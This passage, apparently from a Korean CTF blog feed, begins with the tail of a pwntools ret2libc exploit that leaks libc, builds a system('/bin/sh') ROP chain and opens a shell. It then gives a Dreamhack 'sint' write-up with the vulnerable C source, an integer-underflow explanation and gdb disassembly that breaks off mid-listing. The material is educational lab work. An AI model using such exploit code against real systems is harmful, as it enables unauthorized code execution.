</span></span><span class="line"><span class="cl"><span class="n">leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">conn</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">6</span><span class="p">)</span><span class="o">+</span><span class="sa">b</span><span class="s1">&#39;</span><span class="se">\x00\x00</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;leak =&gt; &#34;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">leak</span><span class="p">)))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">libcbase</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">-</span> <span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s1">&#39;read&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;libcbase =&gt; &#34;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">libcbase</span><span class="p">)))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">system</span> <span class="o">=</span> <span class="n">libcbase</span><span class="o">+</span><span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s1">&#39;system&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;system =&gt; &#34;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">system</span><span class="p">)))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">binsh</span> <span class="o">=</span> <span class="n">libcbase</span><span class="o">+</span><span class="nb">list</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;/bin/sh&#34;</span><span class="p">))[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;binsh =&gt; &#34;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">binsh</span><span class="p">)))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">payload2</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;B&#39;</span><span class="o">*</span><span class="mh">0x48</span>
</span></span><span class="line"><span class="cl"><span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rdi_ret</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">binsh</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">system</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div><p>위 코드를 통해 flag를 얻을 수 있다.</p>
]]></content:encoded></item><item><title>Dreamhack sint 문제풀이</title><link>https://dig06161.github.io/2022/05/03/dreamhack-pwn-sint/</link><pubDate>Tue, 03 May 2022 21:00:00 +0900</pubDate><guid>https://dig06161.github.io/2022/05/03/dreamhack-pwn-sint/</guid><description>&lt;p>오랜만에 풀어보는 pwn문제이다.&lt;/p>
&lt;p>드림핵에 베이직으로 있는 sint의 취약점을 이용한 문제로 문제이름 또한 sint이다.&lt;/p>
&lt;p>문제 압축파일을 다운 받으면 .c로 된 코드 파일과 컴파일한 elf 파일을 제공한다. 우선 .c 파일을 열어보면 내용은 다음과 같다.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c++" data-lang="c++">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;stdio.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;stdlib.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;signal.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;unistd.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">void&lt;/span> &lt;span class="nf">alarm_handler&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">puts&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;TIME OUT&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">exit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">void&lt;/span> &lt;span class="nf">initialize&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">setvbuf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stdin&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">NULL&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">_IONBF&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">setvbuf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stdout&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">NULL&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">_IONBF&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">signal&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">SIGALRM&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">alarm_handler&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">alarm&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">30&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">void&lt;/span> &lt;span class="nf">get_shell&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">system&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;/bin/sh&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">256&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">int&lt;/span> &lt;span class="n">size&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">initialize&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">signal&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">SIGSEGV&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">get_shell&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;Size: &amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">scanf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;%d&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">size&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">size&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="mi">256&lt;/span> &lt;span class="o">||&lt;/span> &lt;span class="n">size&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;Buffer Overflow!&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">exit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;Data: &amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">read&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">size&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>위 코드를 살펴보면 Size를 입력 받고 if 구분을 통해 조건 비교 후 Data를 read 함수로 입력받는 구조이다. if문을 보면 256보다 크거나, 0보다 작으면 &lt;code>printf(&amp;quot;Buffer Overflow!\n&amp;quot;);&lt;/code>를 실행하고 코드를 종료한다. 따라서 Size에 입력되는 값은 0~256까지의 범위를 가질 수 있다.&lt;/p></description><content:encoded><![CDATA[<p>오랜만에 풀어보는 pwn문제이다.</p>
<p>드림핵에 베이직으로 있는 sint의 취약점을 이용한 문제로 문제이름 또한 sint이다.</p>
<p>문제 압축파일을 다운 받으면 .c로 된 코드 파일과 컴파일한 elf 파일을 제공한다. 우선 .c 파일을 열어보면 내용은 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;signal.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">alarm_handler</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">puts</span><span class="p">(</span><span class="s">&#34;TIME OUT&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">initialize</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">signal</span><span class="p">(</span><span class="n">SIGALRM</span><span class="p">,</span> <span class="n">alarm_handler</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">alarm</span><span class="p">(</span><span class="mi">30</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">get_shell</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">system</span><span class="p">(</span><span class="s">&#34;/bin/sh&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">initialize</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">signal</span><span class="p">(</span><span class="n">SIGSEGV</span><span class="p">,</span> <span class="n">get_shell</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">printf</span><span class="p">(</span><span class="s">&#34;Size: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">size</span> <span class="o">&gt;</span> <span class="mi">256</span> <span class="o">||</span> <span class="n">size</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">printf</span><span class="p">(</span><span class="s">&#34;Buffer Overflow!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">printf</span><span class="p">(</span><span class="s">&#34;Data: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">size</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>위 코드를 살펴보면 Size를 입력 받고 if 구분을 통해 조건 비교 후 Data를 read 함수로 입력받는 구조이다. if문을 보면 256보다 크거나, 0보다 작으면 <code>printf(&quot;Buffer Overflow!\n&quot;);</code>를 실행하고 코드를 종료한다. 따라서 Size에 입력되는 값은 0~256까지의 범위를 가질 수 있다.</p>
<p>아래 read함수를 보면 사이즈가 256인 buf 변수에 <code>size-1</code>만큼의 데이터를 입력 받는다. 여기서 잘 봐야할 점은 size는 0부터 256까지 숫자가 들어갈 수 있는데 만약 0을 넣으면 어떤일이 일어날까?</p>
<p>read의 데이터 크기에는 -1이 들어가고 이는 2진 보수변환에 의해 아에 다른 값으로 바뀐다.
int형은 4byte가지고 있다. 기본적으로 C언어의 숫자처리는 마이너스 값을 취급하기위해 2의 보수를 사용하며 양의 정수값만 사용하는 int를 선언하려면 Unsigned int 자료형을 사용해야한다.</p>
<p>4바이트 크기의 1을 2진으로 변환하면 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">0000 0000 0000 0000 0000 0000 0000 0001
</span></span></code></pre></div><p>하지만 이를 컴퓨터가 양수 1로 인식하기 위해서는 1의 보수를 구한 다음 2의 보수를 구해 계산한다</p>
<p>그 과정은 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">0000 0000 0000 0000 0000 0000 0000 0001
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">위 2진수를 1의 보수처리를 한다(2진수의 NOT = 의 보수)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">1111 1111 1111 1111 1111 1111 1111 1110
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">위 2진수를 2의 보수처리 한다.(1의 보수의 2진 값 + 1)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">1111 1111 1111 1111 1111 1111 1111 1111
</span></span></code></pre></div><p>위 설명이 2의 보수처리에 관한 설명이다. 이걸 응용해 -1의 보수를 구하면</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">0000 0000 0000 0000 0000 0000 0000 0001
</span></span></code></pre></div><p>다음과 같지만 read 함수의 데이터 크기를 양수만, 즉 Unsigned int값을 받는다.
즉 따라서 보수 처리가 필요 없다는 것인데, 위 -1의 보수처리된 2진수를 역으로 계산하면</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">1111 1111 1111 1111 1111 1111 1111 1111
</span></span></code></pre></div><p>위 2진수가 메모리에 저장되어 있는것이다. 이 값는 0xffffffff와 동일하며 매우 큰 값을 뜻하므로 버퍼 오버플로우 공격이 가능하다.</p>
<p>자세한 내용은 C언어의 메모리 저장과 보수처리에 관해서 찾아보면 금방 이해 될 것이다.</p>
<p>위와같이 -1이 들어가면 매우 큰 값을 쓸 수 있으니, size에는 0을 넣으면 된다. 이후 read함수에서 버퍼오버플로우를 이용해 return값을 조작해 문제를 풀면 된다.</p>
<p>우선 바이너리를 gdb를 통해 disas main을 진행한다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl">   <span class="mh">0x0804866c</span> <span class="o">&lt;+</span><span class="mi">0</span><span class="o">&gt;:</span>	    <span class="n">push</span>   <span class="n">ebp</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0804866d</span> <span class="o">&lt;+</span><span class="mi">1</span><span class="o">&gt;:</span> 	<span class="n">mov</span>    <span class="n">ebp</span><span class="p">,</span><span class="n">esp</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0804866f</span> <span class="o">&lt;+</span><span class="mi">3</span><span class="o">&gt;:</span>	    <span class="n">sub</span>    <span class="n">esp</span><span class="p">,</span><span class="mh">0x104</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x08048675</span> <span class="o">&lt;+</span><span class="mi">9</span><span class="o">&gt;:</span>     <span class="n">call</span>   <span class="mh">0x8048612</span> <span class="o">&lt;</span><span class="n">initialize</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0804867a</span> <span class="o">&lt;+</span><span class="mi">14</span><span class="o">&gt;:</span>	<span class="n">push</span>   <span class="mh">0x8048659</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0804867f</span> <span class="o">&lt;+</span><span class="mi">19</span><span class="o">&gt;:</span>	<span class="n">push</span>   <span class="mh">0xb</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x08048681</span> <span class="o">&lt;+</span><span class="mi">21</span><span class="o">&gt;:</span>	<span class="n">call</span>   <span class="mh">0x8048470</span> <span class="o">&lt;</span><span class="n">signal</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x08048686</span> <span class="o">&lt;+</span><span class="mi">26</span><span class="o">&gt;:</span>	<span class="n">add</span>    <span class="n">esp</span><span class="p">,</span><span class="mh">0x8</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x08048689</span> <span class="o">&lt;+</span><span class="mi">29</span><span class="o">&gt;:</span>	<span class="n">push</span>   <span class="mh">0x80487a1</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0804868e</span> <span class="o">&lt;+</span><span class="mi">34</span><span class="o">&gt;:</span>	<span class="n">call</span>   <span class="mh">0x8048460</span> <span class="o">&lt;</span><span class="n">printf</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x08048693</span> <span class="o">&lt;+</span><span class="mi">39</span><span class="o">&gt;:</span>	<span class="n">add</span>    <span class="n">esp</span><span class="p">,</span><span class="mh">0x4</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x08048696</span> <span class="o">&lt;+</span><span class="mi">42</span><span class="o">&gt;:</span>	<span class="n">lea</span>    <span class="n">eax</span><span class="p">,[</span><span class="n">ebp</span><span class="o">-</span><span class="mh">0x104</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0804869c</span> <span class="o">&lt;+</span><span class="mi">48</span><span class="o">&gt;:</span>	<span class="n">push</span>   <span class="n">eax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0804869d</span> <span class="o">&lt;+</span><span class="mi">49</span><span class="o">&gt;:</span>	<span class="n">push</span>   <span class="mh">0x80487a8</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x080486a2</span> <span class="o">&lt;+</span><span class="mi">54</span><span class="o">&gt;:</span>	<span class="n">call</span>   <span class="mh">0x80484e0</span> <span class="o">&lt;</span><span class="n">__isoc99_scanf</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x080486a7</span> <span class="o">&lt;+</span><span class="mi">59</span><span class="o">&gt;:</span>	<span class="n">add</span>    <span class="n">esp</span><span class="p">,</span><span class="mh">0x8</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x080486aa</span> <span class="o">&lt;+</span><span class="mi">62</span><span class="o">&gt;:</span>	<span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">ebp</span><span class="o">-</span><span class="mh">0x104</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x080486b0</span> <span class="o">&lt;+</span><span class="mi">68</span><span class="o">&gt;:</span>	<span class="n">cmp</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x100</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x080486b5</span> <span class="o">&lt;+</span><span class="mi">73</span><span class="o">&gt;:</span>	<span class="n">jg</span>     <span class="mh">0x80486c1</span> <span class="o">&lt;</span><span class="n">main</span><span class="o">+</span><span class="mi">85</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x080486b7</span> <span class="o">&lt;+</span><span class="mi">75</span><span class="o">&gt;:</span>	<span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">ebp</span><span class="o">-</span><span class="mh">0x104</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x080486bd</span> <span class="o">&lt;+</span><span class="mi">81</span><span class="o">&gt;:</span>	<span class="n">test</span>   <span class="n">eax</span><span class="p">,</span><span class="n">eax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x080486bf</span> <span class="o">&lt;+</span><span class="mi">83</span><span class="o">&gt;:</span>	<span class="n">jns</span>    <span class="mh">0x80486d5</span> <span class="o">&lt;</span><span class="n">main</span><span class="o">+</span><span class="mi">105</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x080486c1</span> <span class="o">&lt;+</span><span class="mi">85</span><span class="o">&gt;:</span>	<span class="n">push</span>   <span class="mh">0x80487ab</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x080486c6</span> <span class="o">&lt;+</span><span class="mi">90</span><span class="o">&gt;:</span>	<span class="n">call</span>   <span class="mh">0x8048490</span> <span class="o">&lt;</span><span class="n">puts</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x080486cb</span> <span class="o">&lt;+</span><span class="mi">95</span><span class="o">&gt;:</span>	<span class="n">add</span>    <span class="n">esp</span><span class="p">,</span><span class="mh">0x4</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x080486ce</span> <span class="o">&lt;+</span><span class="mi">98</span><span class="o">&gt;:</span>	<span class="n">push</span>   <span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x080486d0</span> <span class="o">&lt;+</span><span class="mi">100</span><span class="o">&gt;:</span>	<span class="n">call</span>   <span class="mh">0x80484b0</span> <span class="o">&lt;</span><span class="n">exit</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x080486d5</span> <span class="o">&lt;+</span><span class="mi">105</span><span class="o">&gt;:</span>	<span class="n">push</span>   <span class="mh">0x80487bc</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x080486da</span> <span class="o">&lt;+</span><span class="mi">110</span><span class="o">&gt;:</span>	<span class="n">call</span>   <span class="mh">0x8048460</span> <span class="o">&lt;</span><span class="n">printf</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x080486df</span> <span class="o">&lt;+</span><span class="mi">115</span><span class="o">&gt;:</span>	<span class="n">add</span>    <span class="n">esp</span><span class="p">,</span><span class="mh">0x4</span>
